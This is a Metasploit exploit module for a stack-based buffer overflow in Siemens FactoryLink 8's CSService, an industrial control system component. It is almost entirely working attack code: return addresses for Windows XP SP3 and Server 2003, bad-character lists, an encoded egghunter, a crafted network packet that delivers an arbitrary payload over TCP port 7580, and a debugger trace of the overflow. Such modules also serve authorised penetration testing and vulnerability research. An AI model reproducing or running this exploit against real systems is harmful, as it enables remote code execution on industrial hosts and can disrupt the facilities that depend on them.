Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow

##
# $Id: factorylink_csservice.rb 13019 2011-06-25 00:54:18Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Egghunter

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability found on Siemens FactoryLink 8. The
    vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message,
    the user-supplied path first gets converted to ANSI format (CodePage 0), and then
    gets handled by a logging routine where proper bounds checking is not done,
    therefore causing a stack-based buffer overflow, and results arbitrary code execution.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 13019 $",
   'Author'         =>
    [
     'Luigi Auriemma <aluigi[at]autistici.org>',  #Initial discovery, poc
     'sinn3r',  #Metasploit (thx hal)
    ],
   'References'     =>
    [
     ['URL', 'http://aluigi.altervista.org/adv/factorylink_1-adv.txt'],
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
     'StackAdjustment' => -3500,
     'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
     'EncoderOptions' => {'BufferRegister'=>'ECX'},
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "process",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3',
      {
       'Offset' => 965,         #Offset to overwrite RETN
       'Ret'    => 0x7e4456f7,  #JMP ESP in USER32.dll
       'Max'    => 1400,        #Max buffer used
      }
     ],
     [
      'Windows Server 2003 SP0',
      {
       'Offset' => 965,
       'Ret'    => 0x77d20738,  #JMP ESP in USER32.dll
       'Max'    => 1400,
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Mar 25 2011"))

   register_options(
    [
     Opt::RPORT(7580)
    ], self.class)
 end

 #User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf
 def to_unicode(text)
  output = ''
  (text.length).times do |i|
   output << text[i,1] << "\x00"
  end
  return output
 end

 def exploit

  #Modify payload
  #XP = Align EAX 0x3a bytes.  Win2k3SP0 = 0x0a bytes
  p  = "\x57"      #PUSH EDI
  p << "\x59"      #POP ECX
  p << ((target.name =~ /server 2003/i) ? "\xb0\x0a" : "\xb0\x3a")
  p << "\x30\xc1"  #XOR CL,AL
  p << payload.encoded

  #Meterpreter tends to fail because of it being mangled.  We use an egghunter
  #instead to ensure the payload's integrity.
  egg_options =
  {
   :checksum => true,
   :eggtag   => "W00T",
  }

  egghunter, p = generate_egghunter(p, payload_badchars, egg_options)

  #x86/alpha_mixed egghunter
  alpha_encoder = framework.encoders.create("x86/alpha_mixed")
  alpha_encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )
  egghunter = alpha_encoder.encode(egghunter, nil, nil, platform)

  sploit  = ''
  sploit << make_nops(4)
  sploit << p
  sploit << rand_text_alpha(965-sploit.length)
  sploit << [target.ret].pack('V*')
  sploit << egghunter

  sploit << rand_text_alpha(target['Max']-sploit.length)
  sploit = to_unicode(sploit)

  pkt  = "\x00\x00\x4c\x45\x4e\x00\x40\x0b\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x04\x00"
  pkt << "\x00\x00\x01\x07\x00\x00\x0b\x31\x99\x62\x72\x6b\x01\x00\x00\x00\x02\x04\x00\x00"
  pkt << "\x00\x04\x00\x00\x00\x01\x07\x00\x00\x0b\x19\x99\x00\x00\x00\x06\x00\x00\x00\x03"
  pkt << "\x06\x00\x00\x0a\xf6\x11\x22\x33\x44"
  pkt << sploit
  pkt << "\x00\x00\x06\x00\x00\x00\x06\x11\x22\x33\x44\x00\x00\x04\x00\x00\x00\x04\x00\x00"
  pkt << "\x00\x01\x99\x99\x99"

  print_status("Sending malicious request to remote host...")

  connect
  sock.put(pkt)
  handler
  select(nil, nil, nil, 6)
  disconnect
 end
end

=begin
0:000> g
call vsprintf. Destination=0x0012ead0 Format=0x0043b92c Args=0x0012eedc
eax=0012eedc ebx=7c809a99 ecx=0043b92c edx=0012ead0 esi=0012eee8 edi=00000002
eip=0040b908 esp=0012eac4 ebp=0012fabc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
CSService+0xb908:
0040b908 ff15249b4400    call    dword ptr [CSService+0x49b24 (00449b24)] ds:0023:00449b24={msvcrt!vsprintf (77c3fe49)}

0:000> dc 0012ead0
0012ead0  65535343 63697672 43203a65 47534d53  CSService: CSMSG
0012eae0  73694c5f 6c694674 525f7365 2d205145  _ListFiles_REQ -
0012eaf0  6f685320 72694477 2c303d73 6c694620   ShowDirs=0, Fil
0012eb00  3d726574 6150202c 613d6874 61616161  ter=, Path=aaaaa
0012eb10  61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
0012eb20  61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
0012eb30  61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
0012eb40  61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa

=end